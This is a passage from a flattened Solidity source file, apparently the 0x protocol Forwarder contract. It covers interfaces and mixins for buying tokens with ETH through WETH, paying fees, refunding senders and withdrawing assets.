LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously cancels multiple orders in a single transaction.
/// @param orders Array of order specifications.
function batchCancelOrders(LibOrder.Order[] memory orders)
public;
/// @dev Fetches information for all passed in orders
/// @param orders Array of order specifications.
/// @return Array of OrderInfo instances that correspond to each order.
function getOrdersInfo(LibOrder.Order[] memory orders)
public
view
returns (LibOrder.OrderInfo[] memory);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// solhint-disable no-empty-blocks
contract IExchange is
IExchangeCore,
IMatchOrders,
ISignatureValidator,
ITransactions,
IAssetProxyDispatcher,
IWrapperFunctions
{}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IEtherToken is
IERC20Token
{
function deposit()
public
payable;
function withdraw(uint256 amount)
public;
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibConstants {
using LibBytes for bytes;
bytes4 constant internal ERC20_DATA_ID = bytes4(keccak256("ERC20Token(address)"));
bytes4 constant internal ERC721_DATA_ID = bytes4(keccak256("ERC721Token(address,uint256)"));
uint256 constant internal MAX_UINT = 2**256 - 1;
uint256 constant internal PERCENTAGE_DENOMINATOR = 10**18;
uint256 constant internal MAX_FEE_PERCENTAGE = 5 * PERCENTAGE_DENOMINATOR / 100; // 5%
uint256 constant internal MAX_WETH_FILL_PERCENTAGE = 95 * PERCENTAGE_DENOMINATOR / 100; // 95%
// solhint-disable var-name-mixedcase
IExchange internal EXCHANGE;
IEtherToken internal ETHER_TOKEN;
IERC20Token internal ZRX_TOKEN;
bytes internal ZRX_ASSET_DATA;
bytes internal WETH_ASSET_DATA;
// solhint-enable var-name-mixedcase
constructor (
address _exchange,
bytes memory _zrxAssetData,
bytes memory _wethAssetData
)
public
{
EXCHANGE = IExchange(_exchange);
ZRX_ASSET_DATA = _zrxAssetData;
WETH_ASSET_DATA = _wethAssetData;
address etherToken = _wethAssetData.readAddress(16);
address zrxToken = _zrxAssetData.readAddress(16);
ETHER_TOKEN = IEtherToken(etherToken);
ZRX_TOKEN = IERC20Token(zrxToken);
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MWeth {
/// @dev Converts message call's ETH value into WETH.
function convertEthToWeth()
internal;
/// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient.
/// Refunds any excess ETH to msg.sender.
/// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders.
/// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
function transferEthFeeAndRefund(
uint256 wethSoldExcludingFeeOrders,
uint256 wethSoldForZrx,
uint256 feePercentage,
address feeRecipient
)
internal;
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MixinWeth is
LibMath,
LibConstants,
MWeth
{
/// @dev Default payabale function, this allows us to withdraw WETH
function ()
public
payable
{
require(
msg.sender == address(ETHER_TOKEN),
"DEFAULT_FUNCTION_WETH_CONTRACT_ONLY"
);
}
/// @dev Converts message call's ETH value into WETH.
function convertEthToWeth()
internal
{
require(
msg.value > 0,
"INVALID_MSG_VALUE"
);
ETHER_TOKEN.deposit.value(msg.value)();
}
/// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient.
/// Refunds any excess ETH to msg.sender.
/// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders.
/// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
function transferEthFeeAndRefund(
uint256 wethSoldExcludingFeeOrders,
uint256 wethSoldForZrx,
uint256 feePercentage,
address feeRecipient
)
internal
{
// Ensure feePercentage is less than 5%.
require(
feePercentage <= MAX_FEE_PERCENTAGE,
"FEE_PERCENTAGE_TOO_LARGE"
);
// Ensure that no extra WETH owned by this contract has been sold.
uint256 wethSold = safeAdd(wethSoldExcludingFeeOrders, wethSoldForZrx);
require(
wethSold <= msg.value,
"OVERSOLD_WETH"
);
// Calculate amount of WETH that hasn't been sold.
uint256 wethRemaining = safeSub(msg.value, wethSold);
// Calculate ETH fee to pay to feeRecipient.
uint256 ethFee = getPartialAmountFloor(
feePercentage,
PERCENTAGE_DENOMINATOR,
wethSoldExcludingFeeOrders
);
// Ensure fee is less than amount of WETH remaining.
require(
ethFee <= wethRemaining,
"INSUFFICIENT_ETH_REMAINING"
);
// Do nothing if no WETH remaining
if (wethRemaining > 0) {
// Convert remaining WETH to ETH
ETHER_TOKEN.withdraw(wethRemaining);
// Pay ETH to feeRecipient
if (ethFee > 0) {
feeRecipient.transfer(ethFee);
}
// Refund remaining ETH to msg.sender.
uint256 ethRefund = safeSub(wethRemaining, ethFee);
if (ethRefund > 0) {
msg.sender.transfer(ethRefund);
}
}
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IAssets {
/// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to
/// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be
/// used to withdraw assets that were accidentally sent to this contract.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of ERC20 token to withdraw.
function withdrawAsset(
bytes assetData,
uint256 amount
)
external;
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MAssets is
IAssets
{
/// @dev Transfers given amount of asset to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferAssetToSender(
bytes memory assetData,
uint256 amount
)
internal;
/// @dev Decodes ERC20 assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferERC20Token(
bytes memory assetData,
uint256 amount
)
internal;
/// @dev Decodes ERC721 assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferERC721Token(
bytes memory assetData,
uint256 amount
)
internal;
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MExchangeWrapper {
/// @dev Fills the input order.
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults);
/// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker.
/// Returns false if the transaction would otherwise revert.
/// @param orders Array of order specifications.
/// @param wethSellAmount Desired amount of WETH to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellWeth(
LibOrder.Order[] memory orders,
uint256 wethSellAmount,
bytes[] memory signatures
)
internal
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker.
/// Returns false if the transaction would otherwise revert.
/// The asset being sold by taker must always be WETH.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyExactAmountWithWeth(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
internal
returns (LibFillResults.FillResults memory totalFillResults);
/// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee
/// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues).
/// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX
/// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases.
/// The asset being sold by taker must always be WETH.
/// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset.
/// @param zrxBuyAmount Desired amount of ZRX to buy.
/// @param signatures Proofs that orders have been created by makers.
/// @return totalFillResults Amounts filled and fees paid by maker and taker.
function marketBuyExactZrxWithWeth(
LibOrder.Order[] memory orders,
uint256 zrxBuyAmount,
bytes[] memory signatures
)
internal
returns (LibFillResults.FillResults memory totalFillResults);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IForwarderCore {
/// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value.
/// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract.
/// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH).
/// Any ETH not spent will be refunded to sender.
/// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset.
/// @param signatures Proofs that orders have been created by makers.
/// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees.
/// @param feeSignatures Proofs that feeOrders have been created by makers.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
/// @return Amounts filled and fees paid by maker and taker for both sets of orders.
function marketSellOrdersWithEth(
LibOrder.Order[] memory orders,
bytes[] memory signatures,
LibOrder.Order[] memory feeOrders,
bytes[] memory feeSignatures,
uint256 feePercentage,
address feeRecipient
)
public
payable
returns (
LibFillResults.FillResults memory orderFillResults,
LibFillResults.FillResults memory feeOrderFillResults
);
/// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction.
/// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract.
/// Any ETH not spent will be refunded to sender.
/// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset.
/// @param makerAssetFillAmount Desired amount of makerAsset to purchase.
/// @param signatures Proofs that orders have been created by makers.
/// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees.
/// @param feeSignatures Proofs that feeOrders have been created by makers.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
/// @return Amounts filled and fees paid by maker and taker for both sets of orders.
function marketBuyOrdersWithEth(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures,
LibOrder.Order[] memory feeOrders,
bytes[] memory feeSignatures,
uint256 feePercentage,
address feeRecipient
)
public
payable
returns (
LibFillResults.FillResults memory orderFillResults,
LibFillResults.FillResults memory feeOrderFillResults
);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MixinForwarderCore is
LibFillResults,
LibMath,
LibConstants,
MWeth,
MAssets,
MExchangeWrapper,
IForwarderCore
{
using LibBytes for bytes;
/// @dev Constructor approves ERC20 proxy to transfer ZRX and WETH on this contract's behalf.
constructor ()
public
{
address proxyAddress = EXCHANGE.getAssetProxy(ERC20_DATA_ID);
require(
proxyAddress != address(0),
"UNREGISTERED_ASSET_PROXY"
);
ETHER_TOKEN.approve(proxyAddress, MAX_UINT);
ZRX_TOKEN.approve(proxyAddress, MAX_UINT);
}
/// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value.
/// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract.
/// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH).
/// Any ETH not spent will be refunded to sender.
/// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset.
/// @param signatures Proofs that orders have been created by makers.
/// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees.
/// @param feeSignatures Proofs that feeOrders have been created by makers.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
/// @return Amounts filled and fees paid by maker and taker for both sets of orders.
function marketSellOrdersWithEth(
LibOrder.Order[] memory orders,
bytes[] memory signatures,
LibOrder.Order[] memory feeOrders,
bytes[] memory feeSignatures,
uint256 feePercentage,
address feeRecipient
)
public
payable
returns (
FillResults memory orderFillResults,
FillResults memory feeOrderFillResults
)
{
// Convert ETH to WETH.
convertEthToWeth();
uint256 wethSellAmount;
uint256 zrxBuyAmount;
uint256 makerAssetAmountPurchased;
if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) {
// Calculate amount of WETH that won't be spent on ETH fees.
wethSellAmount = getPartialAmountFloor(
PERCENTAGE_DENOMINATOR,
safeAdd(PERCENTAGE_DENOMINATOR, feePercentage),
msg.value
);
// Market sell available WETH.
// ZRX fees are paid with this contract's balance.
orderFillResults = marketSellWeth(
orders,
wethSellAmount,
signatures
);
// The fee amount must be deducted from the amount transfered back to sender.
makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid);
} else {
// 5% of WETH is reserved for filling feeOrders and paying feeRecipient.
wethSellAmount = getPartialAmountFloor(
MAX_WETH_FILL_PERCENTAGE,
PERCENTAGE_DENOMINATOR,
msg.value
);
// Market sell 95% of WETH.
// ZRX fees are payed with this contract's balance.
orderFillResults = marketSellWeth(
orders,
wethSellAmount,
signatures
);
// Buy back all ZRX spent on fees.
zrxBuyAmount = orderFillResults.takerFeePaid;
feeOrderFillResults = marketBuyExactZrxWithWeth(
feeOrders,
zrxBuyAmount,
feeSignatures
);
makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount;
}
// Transfer feePercentage of total ETH spent on primary orders to feeRecipient.
// Refund remaining ETH to msg.sender.
transferEthFeeAndRefund(
orderFillResults.takerAssetFilledAmount,
feeOrderFillResults.takerAssetFilledAmount,
feePercentage,
feeRecipient
);
// Transfer purchased assets to msg.sender.
transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased);
}
/// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction.
/// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract.
/// Any ETH not spent will be refunded to sender.
/// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset.
/// @param makerAssetFillAmount Desired amount of makerAsset to purchase.
/// @param signatures Proofs that orders have been created by makers.
/// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees.
/// @param feeSignatures Proofs that feeOrders have been created by makers.
/// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient.
/// @param feeRecipient Address that will receive ETH when orders are filled.
/// @return Amounts filled and fees paid by maker and taker for both sets of orders.
function marketBuyOrdersWithEth(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures,
LibOrder.Order[] memory feeOrders,
bytes[] memory feeSignatures,
uint256 feePercentage,
address feeRecipient
)
public
payable
returns (
FillResults memory orderFillResults,
FillResults memory feeOrderFillResults
)
{
// Convert ETH to WETH.
convertEthToWeth();
uint256 zrxBuyAmount;
uint256 makerAssetAmountPurchased;
if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) {
// If the makerAsset is ZRX, it is not necessary to pay fees out of this
// contracts's ZRX balance because fees are factored into the price of the order.
orderFillResults = marketBuyExactZrxWithWeth(
orders,
makerAssetFillAmount,
signatures
);
// The fee amount must be deducted from the amount transfered back to sender.
makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid);
} else {
// Attemp to purchase desired amount of makerAsset.
// ZRX fees are payed with this contract's balance.
orderFillResults = marketBuyExactAmountWithWeth(
orders,
makerAssetFillAmount,
signatures
);
// Buy back all ZRX spent on fees.
zrxBuyAmount = orderFillResults.takerFeePaid;
feeOrderFillResults = marketBuyExactZrxWithWeth(
feeOrders,
zrxBuyAmount,
feeSignatures
);
makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount;
}
// Transfer feePercentage of total ETH spent on primary orders to feeRecipient.
// Refund remaining ETH to msg.sender.
transferEthFeeAndRefund(
orderFillResults.takerAssetFilledAmount,
feeOrderFillResults.takerAssetFilledAmount,
feePercentage,
feeRecipient
);
// Transfer purchased assets to msg.sender.
transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased);
}
}
contract IOwnable {
function transferOwnership(address newOwner)
public;
}
contract Ownable is
IOwnable
{
address public owner;
constructor ()
public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(
msg.sender == owner,
"ONLY_CONTRACT_OWNER"
);
_;
}
function transferOwnership(address newOwner)
public
onlyOwner
{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IERC721Token {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// perator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param _data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId)
external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved)
external;
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner)
external
view
returns (uint256);
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public;
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId)
public
view
returns (address);
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId)
public
view
returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool);
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract MixinAssets is
Ownable,
LibConstants,
MAssets
{
using LibBytes for bytes;
bytes4 constant internal ERC20_TRANSFER_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
/// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to
/// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be
/// used to withdraw assets that were accidentally sent to this contract.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of ERC20 token to withdraw.
function withdrawAsset(
bytes assetData,
uint256 amount
)
external
onlyOwner
{
transferAssetToSender(assetData, amount);
}
/// @dev Transfers given amount of asset to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferAssetToSender(
bytes memory assetData,
uint256 amount
)
internal
{
bytes4 proxyId = assetData.readBytes4(0);
if (proxyId == ERC20_DATA_ID) {
transferERC20Token(assetData, amount);
} else if (proxyId == ERC721_DATA_ID) {
transferERC721Token(assetData, amount);
} else {
revert("UNSUPPORTED_ASSET_PROXY");
}
}
/// @dev Decodes ERC20 assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferERC20Token(
bytes memory assetData,
uint256 amount
)
internal
{
address token = assetData.readAddress(16);
// Transfer tokens.
// We do a raw call so we can check the success separate
// from the return data.
bool success = token.call(abi.encodeWithSelector(
ERC20_TRANSFER_SELECTOR,
msg.sender,
amount
));
require(
success,
"TRANSFER_FAILED"
);
// Check return data.
// If there is no return data, we assume the token incorrectly
// does not return a bool. In this case we expect it to revert
// on failure, which was handled above.
// If the token does return data, we require that it is a single
// value that evaluates to true.
assembly {
if returndatasize {
success := 0
if eq(returndatasize, 32) {
// First 64 bytes of memory are reserved scratch space
returndatacopy(0, 0, 32)
success := mload(0)
}
}
}
require(
success,
"TRANSFER_FAILED"
);
}
/// @dev Decodes ERC721 assetData and transfers given amount to sender.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param amount Amount of asset to transfer to sender.
function transferERC721Token(
bytes memory assetData,
uint256 amount
)
internal
{
require(
amount == 1,
"INVALID_AMOUNT"
);
// Decode asset data.
address token = assetData.readAddress(16);
uint256 tokenId = assetData.readUint256(36);
// Perform transfer.
IERC721Token(token).transferFrom(
address(this),
msg.sender,
tokenId
);
}
}
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2018 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract LibAbiEncoder {
/// @dev ABI encodes calldata for `fillOrder`.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return ABI encoded calldata for `fillOrder`.
function abiEncodeFillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
pure
returns (bytes memory fillOrderCalldata)
{
// We need to call MExchangeCore.fillOrder using a delegatecall in
// assembly so that we can intercept a call that throws. For this, we
// need the input encoded in memory in the Ethereum ABIv2 format [1].
